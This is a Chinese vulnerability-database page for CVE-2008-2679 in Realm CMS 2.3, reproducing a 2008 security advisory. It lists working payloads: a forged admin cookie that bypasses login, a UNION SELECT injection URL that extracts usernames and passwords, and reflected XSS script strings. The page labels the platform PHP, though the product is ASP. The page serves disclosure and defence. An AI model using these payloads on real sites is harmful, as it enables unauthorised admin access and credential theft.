Realm CMS _includes/inc_routines.asp 关键词列表函数SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1115376 漏洞类型 SQL注入
发布时间 2008-06-09 更新时间 2008-09-11
CVE编号 CVE-2008-2679 CNNVD-ID CNNVD-200806-179
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/5766
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200806-179
|漏洞详情
RealmCMS2.3以及之前的版本下的_includes/inc_routines.asp中的关键词列表函数存在SQL注入漏洞。远程攻击者可以借助kwl操作中到默认的URI的kwrd参数,执行任意的SQL指令。
|漏洞EXP
########################## www.BugReport.ir #######################################
#
#        AmnPardaz Security Research Team
#
# Title: Realm CMS Multiple Vulnerabilities Lead to Admin Access.
# Vendor: www.realmproject.com
# Vulnerable Version: 2.3 and prior versions
# Exploit: Available
# Impact: High
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/40
###################################################################################

####################
1. Description:
####################
 Realm CMS is an unique FREE classic ASP application integrating 
together Content Management and Blogging web publishing. Realm CMS is 
especially designed and tuned to be fast and smart handling web sites 
including thousands of web pages. Realm CMS is fundamentally based on 
the technology of caching - simultaneously using server's RAM and disk. 
This means that Realm CMS web site is easily managed as are database 
driven web sites and the same time it is as fast, robust as web sites 
based on pure HTML. This feature makes Realm CMS MS Access database 
driven web site fast and robust as are enterprise level database driven 
sites. 

####################
2. Vulnerabilities:
####################
    2.1. Broken Authentication and Session Management. Attacker can enter to the admin pages by a manipulated cookie.
        2.1.1. Exploit:
                        Check the exploit section.
    2.2. Injection Flaws. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.
        2.2.1. Exploit:
                        Check the exploit section.
    2.3. Cross Site Scripting (XSS), Information Leakage. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"
        2.3.1. Exploit:
                        Check the exploit section.
####################
3. Exploits:
####################
    Original Exploit URL: http://bugreport.ir/index.php?/40/exploit
    3.1. Attacker can enter to the admin pages by a manipulated cookie.
        -------------
        -Set these cookies:
            RealmCmsUser=cUserfiles=userFiles&cIntallType=BugReportTeam&cDbLocat=in&cSiteName=www.Bugreport.IR&cFolder=%2Fcms&cUniqueID=db&cUserRole=1&cUserName=Admin&cUserID=20
        -Then go to:
            /_RealmAdmin/login.asp
        -------------
    3.2. SQL Injection in "inc_routines.asp" in "KeyWordsList" function on "kwrd" parameter.
        -------------
        http://[URL]/cmsr/?job=kwl&kwrd=WWW.BugReport.IR' union select name,password from tblusers where name not like '%WWW.BugReport.IR
        -------------
    3.3. Reflected XSS attack, and DB path disclosure in "/cms/_db/compact.asp"
        -------------
        http://[URL]/cms/_db/compact.asp?CmpctedDB=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E    (Reflected XSS attack)
        http://[URL]/cms/_db/compact.asp?CmpctedDB=1&Boyut=%3Cscript%3Ealert('XSSed by BugReport.IR')%3C/script%3E    (Reflected XSS attack)
        http://[URL]/cms/_db/compact.asp    (DB path disclosure)
        -------------
####################
4. Solution:
####################
    Rename admin directory "/_RealmAdmin" and wait for vendor patch (for 2.1).
    Edit the source code to ensure that inputs are properly sanitized (for 2.2).
    Remove or rename all the "/_db/compact.asp" files, in the cms (for 2.3).
####################
5. Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com

# milw0rm.com [2008-06-09]
|参考资料

来源:XF
名称:realm-kwrd-sql-injection(42952)
链接:http://xforce.iss.net/xforce/xfdb/42952
来源:BID
名称:29616
链接:http://www.securityfocus.com/bid/29616
来源:MILW0RM
名称:5766
链接:http://www.milw0rm.com/exploits/5766
来源:SECUNIA
名称:30583
链接:http://secunia.com/advisories/30583
来源:MISC
链接:http://bugreport.ir/index.php?/40